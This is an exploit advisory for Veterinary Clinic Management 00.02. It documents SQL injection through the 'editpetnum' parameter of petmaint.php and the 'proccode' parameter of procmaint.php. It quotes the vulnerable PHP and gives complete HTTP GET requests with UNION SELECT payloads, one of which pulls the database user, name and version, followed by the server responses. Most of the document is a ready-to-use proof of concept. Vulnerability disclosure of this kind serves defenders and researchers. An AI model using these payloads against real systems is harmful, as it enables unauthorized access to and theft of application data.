Veterinary Clinic Management 00.02 SQL Injection

`# Exploit Title: Veterinary Clinic Management 00.02 - 'editpetnum' SQL Injection  
# Dork: N/A  
# Date: 2018-10-25  
# Exploit Author: Ihsan Sencan  
# Vendor Homepage: https://vetclinic.sourceforge.io/  
# Software Link: https://sourceforge.net/projects/vetclinic/files/latest/download  
# Version: 00.02  
# Category: Webapps  
# Tested on: WiN7_x64/KaLiLinuX_x64  
# CVE: N/A  
  
# POC:   
# 1)  
# http://localhost/[PATH]/petmaint.php?editpetnum=[SQL]  
#   
# [PATH]/petmaint.php  
# ....  
#154 $editpetnum = "";  
#155   
#156 if(isset($_POST["editpetnum"])) {  
#157 $editpetnum = $_POST["editpetnum"];  
#158 unset($_POST["editpetnum"]);  
#159 }  
#160 else if(isset($_GET["editpetnum"])) {  
#161 $editpetnum = $_GET["editpetnum"];  
#162 unset($_GET["editpetnum"]);  
#163 }  
# ....  
  
GET /[PATH]/petmaint.php?editpetnum=-0x496873616e2053656e63616e+UniOn++SeLect++0x496873616e2053656e63616e%2c0x496873616e2053656e63616e%2c0x496873616e2053656e63616e%2c0x496873616e2053656e63616e%2c0x496873616e2053656e63616e%2c0x496873616e2053656e63616e%2c0x496873616e2053656e63616e%2c0x496873616e2053656e63616e%2c0x496873616e2053656e63616e%2c0x496873616e2053656e63616e%2cCONCAT(CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()))%2c0x496873616e2053656e63616e%2c0x496873616e2053656e63616e%2c0x496873616e2053656e63616e%2c0x496873616e2053656e63616e--+Efe HTTP/1.1  
Host: TARGET  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Connection: keep-alive  
HTTP/1.1 200 OK  
Date: Thu, 25 Oct 2018 22:18:01 GMT  
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30  
X-Powered-By: PHP/5.6.30  
Set-Cookie: PHPSESSID=8dts9gt545rgn1f5i4pgn573a3; path=/  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0  
Pragma: no-cache  
Keep-Alive: timeout=5, max=100  
Connection: Keep-Alive  
Transfer-Encoding: chunked  
Content-Type: text/html; charset=UTF-8  
  
# POC:   
# 2)  
# http://localhost/[PATH]/procmaint.php?proccode=[SQL]  
#   
# [PATH]/procmaint.php  
# ....  
#28 require_once "includes/common.inc";  
#29 $emplnumber = $_SESSION['employeenumber'];  
#30 $display = "ProcMaint:".$emplnumber;  
#31 if(isset($_GET["proccode"])) {  
#32 $proccode = $_GET["proccode"];  
#33 } else {  
#34 $proccode = "";  
#35 }  
#36 if ($proccode == "")  
#37 {  
# ....  
  
GET /[PATH]/procmaint.php?proccode=%27%27%27%27+unioN+selECt++nuLL,nuLL,nuLL,conCAT(0x496873616e2053656e63616e),nuLL--+Efe HTTP/1.1  
Host: TARGET  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Cookie: PHPSESSID=8dts9gt545rgn1f5i4pgn573a3  
Connection: keep-alive  
HTTP/1.1 200 OK  
Date: Thu, 25 Oct 2018 22:22:33 GMT  
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30  
X-Powered-By: PHP/5.6.30  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0  
Pragma: no-cache  
Content-Length: 2697  
Keep-Alive: timeout=5, max=100  
Connection: Keep-Alive  
Content-Type: text/html; charset=UTF-8  
  
  
`